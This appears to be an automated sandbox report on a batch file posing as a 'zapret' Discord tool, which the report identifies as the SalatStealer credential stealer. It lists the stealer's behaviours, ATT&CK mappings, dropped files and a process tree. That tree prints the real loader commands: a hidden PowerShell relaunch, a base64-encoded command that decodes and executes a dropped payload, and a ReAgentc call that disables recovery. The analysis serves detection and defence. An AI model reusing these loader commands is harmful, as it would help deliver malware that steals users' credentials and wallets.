Overview

overview

10

Static

static

1

zapret-discord.bat

windows10-2004-x64

10

zapret-discord.bat

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    899s
  • max time network
    898s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 13:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    zapret-discord.bat
  • Size 4.6MB
  • Sample260930-ratglatdkh
  • SHA256 9a40a8ee514102d572a4ba3d2a3abd4a3784456389f3798c5ebb49d96960d1cb
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecredential_accessdefense_evasiondiscoveryexecutionsalatstealerpersistenceransomwarespywarestealertrojanupx

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

    stealersalatstealer
  • Detect SalatStealer payload 63 IoCs
  • UAC bypass 3 TTPs 1 IoCs
    defense_evasiontrojan
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Executes a file named after a Windows system binary 1 TTPs 2 IoCs

    The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

    defense_evasion
  • Executes dropped EXE 9 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Enumerates connected drives 3 TTPs 7 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 11 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 50 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 53 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zapret-discord.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5136
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\zapret-discord.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2488
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1148
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\r055vn1e\r055vn1e.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1664
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9BD9.tmp" "c:\Users\Admin\AppData\Local\Temp\r055vn1e\CSCA1595EE660934B1BA5A1A52D09E456C.TMP"
              6⤵
                PID:2244
            • C:\Users\Admin\AppData\Local\Temp\p_551c4a6b-1b68-47b9-ac17-381f3b59d83a.exe
              "C:\Users\Admin\AppData\Local\Temp\p_551c4a6b-1b68-47b9-ac17-381f3b59d83a.exe"
              5⤵
              • Executes a file named after a Windows system binary
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2688
              • C:\Users\Admin\AppData\Local\Mozilla\RuntimeBroker.exe
                C:\Users\Admin\AppData\Local\Mozilla\RuntimeBroker.exe
                6⤵
                • Executes a file named after a Windows system binary
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:544
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • Enumerates connected drives
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:3428
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:5848
                • C:\Program Files (x86)\Microsoft\Edge\Application\RuntimeBroker.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\RuntimeBroker.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:1008
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:1840
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:2644
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k GPSvcGroup
          1⤵
            PID:1972
          • C:\Users\Admin\AppData\Local\Mozilla\RuntimeBroker.exe
            "C:\Users\Admin\AppData\Local\Mozilla\RuntimeBroker.exe"
            1⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:4268
          • C:\Program Files (x86)\Mozilla Maintenance Service\lsass.exe
            "C:\Program Files (x86)\Mozilla Maintenance Service\lsass.exe"
            1⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:4044
          • C:\Windows\system32\sihost.exe
            sihost.exe
            1⤵
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:672
            • C:\Windows\explorer.exe
              explorer.exe /LOADSAVEDWINDOWS
              2⤵
              • Boot or Logon Autostart Execution: Active Setup
              • Enumerates connected drives
              • Checks SCSI registry key(s)
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of SetWindowsHookEx
              PID:1928
          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
            1⤵
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3384
          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
            1⤵
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:2636
          • C:\Users\Admin\AppData\Local\Mozilla\RuntimeBroker.exe
            "C:\Users\Admin\AppData\Local\Mozilla\RuntimeBroker.exe"
            1⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:4400
          • C:\Program Files (x86)\Mozilla Maintenance Service\lsass.exe
            "C:\Program Files (x86)\Mozilla Maintenance Service\lsass.exe"
            1⤵
            • Executes dropped EXE
            • Reads the TCP/IP host and domain name from the registry
            • System Location Discovery: System Language Discovery
            PID:3172
          • C:\Windows\System32\SecurityHealthHost.exe
            \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
            1⤵
              PID:5204
            • C:\Program Files (x86)\Mozilla Maintenance Service\lsass.exe
              "C:\Program Files (x86)\Mozilla Maintenance Service\lsass.exe"
              1⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              PID:5492
            • C:\Users\Admin\AppData\Local\Mozilla\RuntimeBroker.exe
              "C:\Users\Admin\AppData\Local\Mozilla\RuntimeBroker.exe"
              1⤵
              • Executes dropped EXE
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              PID:5152

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Command and Scripting Interpreter

                  2
                  T1059

                  PowerShell

                  1
                  T1059.001

                  Windows Command Shell

                  1
                  T1059.003

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Active Setup

                  1
                  T1547.014

                  Privilege Escalation

                  Abuse Elevation Control Mechanism

                  1
                  T1548

                  Bypass User Account Control

                  1
                  T1548.002

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Active Setup

                  1
                  T1547.014

                  Defense Evasion

                  Abuse Elevation Control Mechanism

                  1
                  T1548

                  Bypass User Account Control

                  1
                  T1548.002

                  Impair Defenses

                  1
                  T1562

                  Disable or Modify Tools

                  1
                  T1562.001

                  Masquerading

                  1
                  T1036

                  Match Legitimate Name or Location

                  1
                  T1036.005

                  Modify Registry

                  3
                  T1112

                  Credential Access

                  Credentials from Password Stores

                  1
                  T1555

                  Credentials from Web Browsers

                  1
                  T1555.003

                  Unsecured Credentials

                  3
                  T1552

                  Credentials In Files

                  3
                  T1552.001

                  Discovery

                  Peripheral Device Discovery

                  2
                  T1120

                  Query Registry

                  3
                  T1012

                  System Information Discovery

                  3
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  System Network Configuration Discovery

                  1
                  T1016

                  Lateral Movement

                  Collection

                  Data from Local System

                  2
                  T1005

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  StartupProfileData-NonInteractive
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  prep_Activatable Class_Hermes_perf.cache
                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                  • Size 599B
                  • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  prep_Activatable Class_Hermes_perf.cache
                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                  • Size 607B
                  • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  RES9BD9.tmp
                  • Path C:\Users\Admin\AppData\Local\Temp\RES9BD9.tmp
                  • Size 1KB
                  • SHA256 67b07d4f6e914195d7c286cd999a7a6e2dad0618d9ad81ac5f354d7d7bf1d28f
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  __PSScriptPolicyTest_mgjgxgcq.1kc.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mgjgxgcq.1kc.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  lc_3548_1789218388848017200.b64
                  • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                  • Size 4.6MB
                  • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  lc_3548_1789218388848017200.l64
                  • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                  • Size 10KB
                  • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  p_551c4a6b-1b68-47b9-ac17-381f3b59d83a.exe
                  • Path C:\Users\Admin\AppData\Local\Temp\p_551c4a6b-1b68-47b9-ac17-381f3b59d83a.exe
                  • Size 3.4MB
                  • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  r055vn1e.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\r055vn1e\r055vn1e.dll
                  • Size 5KB
                  • SHA256 48b5228bb794c8c64f228ff6156e8b6011520d9fcf17ca4b740bd6027a707e69
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  CSCA1595EE660934B1BA5A1A52D09E456C.TMP
                  • Path \??\c:\Users\Admin\AppData\Local\Temp\r055vn1e\CSCA1595EE660934B1BA5A1A52D09E456C.TMP
                  • Size 652B
                  • SHA256 d8bac6777549f74487f4736b64415d0f05f23db9bfdf3c103b7172a2875d7e17
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  r055vn1e.0.cs
                  • Path \??\c:\Users\Admin\AppData\Local\Temp\r055vn1e\r055vn1e.0.cs
                  • Size 2KB
                  • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  r055vn1e.cmdline
                  • Path \??\c:\Users\Admin\AppData\Local\Temp\r055vn1e\r055vn1e.cmdline
                  • Size 369B
                  • SHA256 c6055d7994484415cad317c06c5443c28c3edb98c37463b199f0d271638f2610
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  memory/544-1137-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1133-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1149-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-932-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-929-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-928-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1156-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1157-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1158-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1159-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-927-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1160-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-926-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-925-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-924-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-923-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-922-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-921-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-920-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-918-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-934-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-941-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-942-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1163-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1162-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1134-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1135-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-877-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-878-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-879-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-880-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-881-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1148-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1147-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1146-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1145-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1144-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1161-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1143-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1142-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1141-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1136-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1140-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-933-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/544-1138-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/1008-900-0x0000000000810000-0x0000000001465000-memory.dmp
                  Download

                  memory/1008-897-0x0000000000810000-0x0000000001465000-memory.dmp
                  Download

                  memory/1148-821-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/1148-834-0x000001CF2D400000-0x000001CF2D408000-memory.dmp
                  Download

                  memory/1148-816-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/1148-846-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/2688-854-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-850-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-859-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-857-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-863-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-853-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-851-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-861-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-849-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-848-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-866-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-844-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-867-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/2688-876-0x0000000000DD0000-0x0000000001A25000-memory.dmp
                  Download

                  memory/3172-1155-0x0000000000ED0000-0x0000000001B25000-memory.dmp
                  Download

                  memory/3172-1152-0x0000000000ED0000-0x0000000001B25000-memory.dmp
                  Download

                  memory/3384-983-0x000002F103D60000-0x000002F103D80000-memory.dmp
                  Download

                  memory/3384-963-0x000002F1001E0000-0x000002F1002E0000-memory.dmp
                  Download

                  memory/3384-971-0x000002F103A20000-0x000002F103A40000-memory.dmp
                  Download

                  memory/3384-972-0x000002F103E40000-0x000002F103F40000-memory.dmp
                  Download

                  memory/3384-1009-0x000002F114200000-0x000002F114220000-memory.dmp
                  Download

                  memory/3428-910-0x0000000007C80000-0x0000000007C8A000-memory.dmp
                  Download

                  memory/3428-906-0x0000000007AE0000-0x0000000007B00000-memory.dmp
                  Download

                  memory/3428-882-0x0000000002E00000-0x0000000002E36000-memory.dmp
                  Download

                  memory/3428-909-0x0000000007C20000-0x0000000007C3A000-memory.dmp
                  Download

                  memory/3428-912-0x0000000008130000-0x0000000008152000-memory.dmp
                  Download

                  memory/3428-883-0x00000000059F0000-0x000000000603A000-memory.dmp
                  Download

                  memory/3428-913-0x0000000008EB0000-0x000000000946A000-memory.dmp
                  Download

                  memory/3428-884-0x0000000005870000-0x0000000005892000-memory.dmp
                  Download

                  memory/3428-886-0x0000000006080000-0x00000000060E6000-memory.dmp
                  Download

                  memory/3428-908-0x0000000008270000-0x00000000088EC000-memory.dmp
                  Download

                  memory/3428-907-0x0000000007B00000-0x0000000007BA3000-memory.dmp
                  Download

                  memory/3428-911-0x0000000007D30000-0x0000000007DC6000-memory.dmp
                  Download

                  memory/3428-903-0x0000000070980000-0x0000000070CDB000-memory.dmp
                  Download

                  memory/3428-902-0x0000000070740000-0x000000007078C000-memory.dmp
                  Download

                  memory/3428-901-0x0000000007AA0000-0x0000000007AD6000-memory.dmp
                  Download

                  memory/3428-898-0x0000000007660000-0x00000000076A8000-memory.dmp
                  Download

                  memory/3428-891-0x00000000066B0000-0x00000000066FC000-memory.dmp
                  Download

                  memory/3428-890-0x0000000006670000-0x000000000668E000-memory.dmp
                  Download

                  memory/3428-889-0x0000000006130000-0x000000000648B000-memory.dmp
                  Download

                  memory/3428-885-0x0000000005910000-0x0000000005976000-memory.dmp
                  Download

                  memory/4044-939-0x0000000000ED0000-0x0000000001B25000-memory.dmp
                  Download

                  memory/4044-940-0x0000000000ED0000-0x0000000001B25000-memory.dmp
                  Download

                  memory/4268-938-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/4400-1153-0x0000000000C30000-0x0000000001885000-memory.dmp
                  Download

                  memory/5136-14-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-12-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-0-0x00007FF82140F000-0x00007FF821410000-memory.dmp
                  Download

                  memory/5136-11-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-10-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-9-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-8-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-7-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-6-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-5-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-1-0x00007FF821280000-0x00007FF821C24000-memory.dmp
                  Download

                  memory/5136-4-0x0000029466F30000-0x0000029466F52000-memory.dmp
                  Download

                  memory/5492-1177-0x0000000000ED0000-0x0000000001B25000-memory.dmp
                  Download